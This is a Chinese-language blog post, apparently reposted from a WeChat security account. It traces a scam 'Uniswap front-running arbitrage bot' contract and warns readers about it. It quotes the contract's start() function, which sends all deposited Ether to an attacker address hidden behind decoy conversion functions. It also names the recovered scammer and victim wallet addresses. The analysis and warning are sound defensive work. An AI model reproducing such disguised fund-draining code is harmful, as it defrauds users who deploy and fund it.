前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【Crypto加密笔记】警惕套利陷阱,诈骗合约溯源分析

【Crypto加密笔记】警惕套利陷阱,诈骗合约溯源分析

作者头像
用户1467662
发布2022-12-20 16:22:35
4790
发布2022-12-20 16:22:35
举报
文章被收录于专栏:农夫安全农夫安全

事情起因是在一个群里有个伙计发了个审计solidity源码的求助。

打开链接看完视频,里面讲的是利用uniswap来进行搬砖套利,视频操作流程总结;

1、部署rebot.sol合约

2、个人钱包EOA往合约里面充值1 Ether

3、点击start按钮调用函数

4、过了一段时间后,合约里面的余额变成1.7 Ether

5、点击withdraw提现

因为在视频里面我们看到需要先部署bot.sol合约,然后点击了一下start按钮,所以我们重点就是找到start这个函数。

看完这个我顿时惊呆,嗯????

function start() public payable {

emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");

payable(_callFrontRunActionMempool()).transfer(address(this).balance);

}

我以为start是调用某个函数来进行监控交易,这一上来就转账???肯定是诈骗合约无疑了,start函数直接把部署的合约余额转给一个地址。

_callFrontRunActionMempool()》》》这个应该就是黑客的收款地址。

找到这个函数

返回address,说明确实是一个地址。

function _callFrontRunActionMempool() internal pure returns (address) {

return parseMemoryPool(callMempool());

}

重点就是找到返回的地址,callMempool函数看着像是一些string的切割和转换。

parseMemoryPool函数里面还有checkLiquidity,这个函数目的是为了鱼目混珠,看起来像是在做数学计算,实则是在进行地址string的转换操作。

两次都是进行转换,让别人误以为是在做一些复杂的数学计算,其实是把黑客的地址做隐藏。

两个转换函数看了很久,分析来分析去折腾了半天,懒得去分析怎么给地址做隐藏和转换的,直接写个public把黑客的地址return回来。。。

获得了黑客的真正收款address:0x7B887821B26EE682963AF06636e99d4092fF207e

打开我们的区块链浏览器

https://etherscan.io/address/0x7B887821B26EE682963AF06636e99d4092fF207e#internaltx

发现陆陆续续的有一些受害者(估计视频每次更新后都会把收款address进行更新。)

第一笔诈骗金额是在2022.10.1日进行的,截至2022.10.19日一共诈骗0.7Eth,最多的一个受害者是转了0.4u。

挑选一个受害者地址

https://etherscan.io/address/0x4b9fc745bf6509e21a52223e2393d547bfcb8718

都是部署完合约,给合约池子冲完钱,调用了start函数,甚至还有点多次的。。。。

脑海中出现了一个画面,

黑客为了让视频看起来逼真,用了好多假留言来显得视频逼真,

视频观看量接近6W了,受害者估计不少。。。。

顺便搜了一下相关的关键词,基本全是这种诈骗的合约,部署完冲进去就被转走。

总结:

天上不会掉馅饼

天上不会掉馅饼

天上不会掉馅饼

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-10-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档